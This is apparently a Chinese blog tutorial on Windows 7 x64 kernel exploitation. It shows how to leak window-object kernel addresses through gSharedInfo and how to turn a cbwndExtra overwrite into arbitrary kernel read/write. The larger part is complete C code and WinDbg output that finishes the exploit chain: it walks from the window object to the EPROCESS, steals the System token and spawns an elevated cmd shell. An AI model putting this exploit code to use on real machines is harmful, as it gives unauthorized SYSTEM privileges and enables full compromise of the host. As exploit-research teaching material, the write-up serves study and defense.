更改tagWND实现内存任意读写

  • 内容
  • 评论
  • 相关

在实际的内核漏洞利用中,有时候可以获得内核地址任意写的能力。

但是有面临如下两个问题:

  • 如何由通过内核任意写能力扩展到内核任意读写?
  • 基于内核任意读写能力又如何做到替换Token指针达到进程提权呢?

这里带来一种更改tagWND结构体cbwndExtra标志位的做到任意读写的方法

gSharedInfo内核地址泄漏技术

比如说我创建了一个窗体对象,但是我不知道这个窗体对象在内核中的地址,我们需要一种技术把该对象的地址给泄漏出来。

不然即使获得任意写的能力,你也不知道具体往哪写。

gSharedInfo的使用如下:

win7x64 编译成64位程序验证通过

#include "windows.h"

typedef struct _HANDLEENTRY {
    PVOID   phead;
    PVOID   pOwner;
    BYTE    bType;
    BYTE    bFlags;
    WORD    wUniq;
} HANDLEENTRY, *PHANDLEENTRY;

typedef struct _SERVERINFO {
    WORD    wRIPFlags;
    WORD    wSRVIFlags;
    WORD    wRIPPID;
    WORD    wRIPError;
    ULONG   cHandleEntries;
} SERVERINFO, *PSERVERINFO;

typedef struct _SHAREDINFO {
    PSERVERINFO  psi;
    PHANDLEENTRY aheList;
    ULONG        HeEntrySize;
} SHAREDINFO, *PSHAREDINFO;

ULONG_PTR GetObjectKernelAddr(HWND hwnd)
{
    static PSHAREDINFO gSharedInfo = NULL;
    if (gSharedInfo == NULL)
    {
        gSharedInfo = (PSHAREDINFO)GetProcAddress(LoadLibraryA("user32"), "gSharedInfo");
        if (gSharedInfo == NULL)
        {
            return NULL;
        }
    }

    PHANDLEENTRY HandleTable = gSharedInfo->aheList;
    PHANDLEENTRY HandleEntry = (PHANDLEENTRY)&HandleTable[LOWORD(hwnd)];
    return (ULONG_PTR)HandleEntry->phead;
}

HWND    gHwndWnd1 = NULL;
HWND    gHwndWnd2 = NULL;
ULONG64 gWndAddr1 = 0;
ULONG64 gWndAddr2 = 0;

BOOL CreateToolWnd()
{
    gHwndWnd1 = CreateWindowExW(
        NULL, L"#32772", NULL,
        WS_MINIMIZE | WS_DISABLED,
        0, 0, 0, 0, NULL, NULL, NULL, NULL);

    gHwndWnd2 = CreateWindowExW(
        NULL, L"#32772", NULL,
        WS_MINIMIZE | WS_DISABLED,
        0, 0, 0, 0, NULL, NULL, NULL, NULL);

    if (gHwndWnd1 == NULL || gHwndWnd2 == NULL)
    {
        return FALSE;
    }

    ULONG_PTR WndAddr1 = GetObjectKernelAddr(gHwndWnd1);
    ULONG_PTR WndAddr2 = GetObjectKernelAddr(gHwndWnd2);
    if (WndAddr1 == 0 || WndAddr2 == 0)
    {
        return FALSE;
    }

    if (WndAddr1 < WndAddr2)
    {
        gWndAddr1 = WndAddr1;
        gWndAddr2 = WndAddr2;
    }
    else
    {
        gWndAddr1 = WndAddr2;
        gWndAddr2 = WndAddr1;
    }

    printf("gWndAddr1:%p\n", gWndAddr1);
    printf("gWndAddr2:%p\n", gWndAddr2);
    return TRUE;
}

运行结果是这样:

image

输出的就是该对象的内核地址。

这里还额外做了一个操作:

根据两个window对象的内核地址的大小,把较小的地址放到gWndAddr1中,较大的放到了gWndAddr2

因为这里我们需要做另外一个操作:

通过Wnd1对象更改Wnd2对象内容。

下面说说怎么做:

更改Wnd1的cbwndExtra

cbWndExtra是什么

指定了系统为每个窗口分配多少字节的额外空间,默认为0

用户态的可以以下代码设置窗口额外空间大小为0x100

WNDCLASSEXW WndClass = { 0 };
WndClass.cbSize = sizeof(WNDCLASSEXW);
WndClass.lpfnWndProc = DefWindowProcW;

// 这里设置cbWndExtra大小
WndClass.cbWndExtra = 0x100;

WndClass.hInstance = GetModuleHandleA(NULL);
WndClass.lpszMenuName = NULL;
WndClass.lpszClassName = L"MyClassName";
RegisterClassExW(&wndClass);

CreateWindowExW(NULL, L"MyClassName", NULL,
    WS_VISIBLE, 0, 0, 1, 1,
    NULL, NULL, GetModuleHandleA(NULL), NULL);

而且可以通过以下函数对设置的额外空间进行读写:

//从n位置开始读取一个Word,Long,LongPtr
GetWindowWord(hWnd, n); 
GetWindowLong(hWnd, n);
GetWindowLongPtr(hWnd, n); 

//从n位置开始写入一个Word,Long,LongPtr
SetWindowWord(hWnd, n, value);
SetWindowLong(hWnd, n, value);
SetWindowLongPtr(hWnd, n, value);

当然,GetWindowLong或者SetWindowLong都受cbWndExtra标志位限制。

如果能通过任意写能力,更改Wnd1的cbwndExtra,把cbwndExtra改的足够的大,那么就可以实现对Wnd1对象后面的地址空间读写的能力。

但是却不能读写Wnd1对象之前的地址。

那怎么全地址的任意读写呢?

我们可以更改后面的window对象的strName字段。

然后对进行GetWindowTextSetWindowText进行设置。

但是用SetWindowText有个小问题,不能设置连续的0字节:

SetWindowText大致伪码:

void SetWindowText()
{
    ...
    wcsncpy(窗口文本指针strName,要设置的文本,大小)
}

因为是字符串拷贝,中间如果有多个0会被截断,但是一般来讲影响不大,不过遇到这种情况需要自己处理。

总结下大致流程

  • 1.通过漏洞设置Wnd1->cbWndExtra
  • 2.通过SetWindowLong更改Wn2的strName
  • 3.通过GetWindowText/SetWindowText实现任意读写

我们通过windbg模拟第一步:

kd> !process 0 0 template.exe
PROCESS fffffa8003f1f920
    SessionId: 1  Cid: 08d4    Peb: 7fffffd6000  ParentCid: 0838
    DirBase: 4d92c000  ObjectTable: fffff8a010af7810  HandleCount:  20.
    Image: template.exe

// 沉浸式切换到目标进程
kd> .process /i /p fffffa8003f1f920
You need to continue execution (press 'g' <enter>) for the context
to be switched.
kd> g
Break instruction exception - code 80000003 (first chance)
nt!RtlpBreakWithStatusInstruction:
fffff800`03ec6490 cc              int     3

kd> .reload
// cbwndExtra默认为0
kd> dt win32k!tagWND fffff900c0808d10
   ...
   +0x0d8 strName          : _LARGE_UNICODE_STRING
   +0x0e8 cbwndExtra       : 0n0

// 修改成一个比较大的数   
kd> eq fffff900c0808d10+e8 11223344
kd> dq fffff900c0808d10+e8
fffff900`c0808df8  00000000`11223344 fffff900`c0808d10

至此我们已经模拟了漏洞修改cbwndExtra

然后根据上面说的原理封装出一套任意读写函数:

#define Sizeof_tagWND                          0x128
#define Offset_tagWND_pti                      0x10 
#define Offset_tagWND_cbwndExtra               0xE8
#define Offset_tagWND_strName                  0xD8 

#define Offset_STRING_Length                   0x00
#define Offset_STRING_MaximumLength                0x04
#define Offset_STRING_Buffer                   0x08

#define Offset_KTHREAD_ApcState                    0x50
#define Offset_KAPC_STATE_Process              0x20

#define Offset_EPROCESS_UniqueProcessId        0x180 
#define Offset_EPROCESS_ActiveProcessLinks     0x188
#define Offset_EPROCESS_Token                      0x208

DWORD gToolWndStrNameOffset = 0;

VOID InitReadWriteKernelAddr()
{
    gToolWndStrNameOffset = (DWORD)((gWndAddr2 + Offset_tagWND_strName) - (gWndAddr1 + Sizeof_tagWND));

    SetWindowLongW(gHwndWnd1, gToolWndStrNameOffset + Offset_STRING_Length, 0x100);
    SetWindowLongW(gHwndWnd1, gToolWndStrNameOffset + Offset_STRING_MaximumLength, 0x100);
}

BOOL WriteKernelAddr64(UINT64 Addr, ULONG64 Value)
{
    SetWindowLongPtrW(gHwndWnd1, gToolWndStrNameOffset + Offset_STRING_Buffer, Addr);

    ULONG64 TempValue[2] = { 0 };
    TempValue[0] = Value;
    SetWindowTextW(gHwndWnd2, (PWCHAR)TempValue);

    return TRUE;
}

ULONG32 ReadKernelAddr32(UINT64 Addr)
{
    SetWindowLongPtrW(gHwndWnd1, gToolWndStrNameOffset + Offset_STRING_Buffer, Addr);

    ULONG32 Read[6] = { 0 };
    InternalGetWindowText(gHwndWnd2, (LPWSTR)&Read, 4);

    return Read[0];
}

ULONG64 ReadKernelAddr64(UINT64 Addr)
{
    ULONG32 LowAddr = ReadKernelAddr32(Addr);
    ULONG32 HighAddr = ReadKernelAddr32(Addr + sizeof(ULONG32));
    ULONG64 Read = ((ULONG64)HighAddr << 32) + LowAddr;
    return Read;
}

然后根据任意读写能力实现进程token替换:

可以重点注意下是如何从窗口对象索引到进程EPROCESS的过程

BOOL ReplaceToken()
{
    ULONG64 ptiAddr = ReadKernelAddr64(gWndAddr1 + Offset_tagWND_pti);
    printf("[+]pti : %llx\n", ptiAddr);

    ULONG64 pEThread = ReadKernelAddr64(ptiAddr);
    printf("[+]pEThread : %llx\n", pEThread);

    ULONG64 ApcState = ReadKernelAddr64(pEThread + Offset_KTHREAD_ApcState);
    printf("[+]ApcState : %llx\n", ApcState);

    ULONG64 Process = ReadKernelAddr64(ApcState + Offset_KAPC_STATE_Process);
    printf("[+]Process : %llx\n", Process);

    ULONG64 Token = ReadKernelAddr64(Process + Offset_EPROCESS_Token);
    printf("[+]Token : %llx\n", Token);

    ULONG64 NextProcess = Process;
    INT i = 0;
    while (TRUE)
    {
        NextProcess = ReadKernelAddr64(NextProcess + Offset_EPROCESS_ActiveProcessLinks) - Offset_EPROCESS_ActiveProcessLinks;
        ULONG64 Pid = ReadKernelAddr64(NextProcess + Offset_EPROCESS_UniqueProcessId);
        if (Pid == 4)
        {
            printf("[+]System Process : %llx\n", NextProcess);
            break;
        }
        if (i++ > 0x1000)
        {
            printf("[+]ModifyToken Faild..\n");
            return FALSE;
        }
    }

    ULONG64 SystemTokenPtr = ReadKernelAddr64(NextProcess + Offset_EPROCESS_Token);
    printf("[+]SystemTokenPtr : %llx\n", SystemTokenPtr);

    WriteKernelAddr64(Process + Offset_EPROCESS_Token, SystemTokenPtr);
    printf("[+]ModifyToken Successed..\n");

    return TRUE;
}

调用主函数:

int main()
{
    CreateToolWnd();

    printf("Before Token Replace..\n");
    //这里需要用windbg修改cbWndExtra
    getchar();

    InitReadWriteKernelAddr();
    ReplaceToken();

    system("cmd");
    getchar();
    return 0;
}

最终效果:

image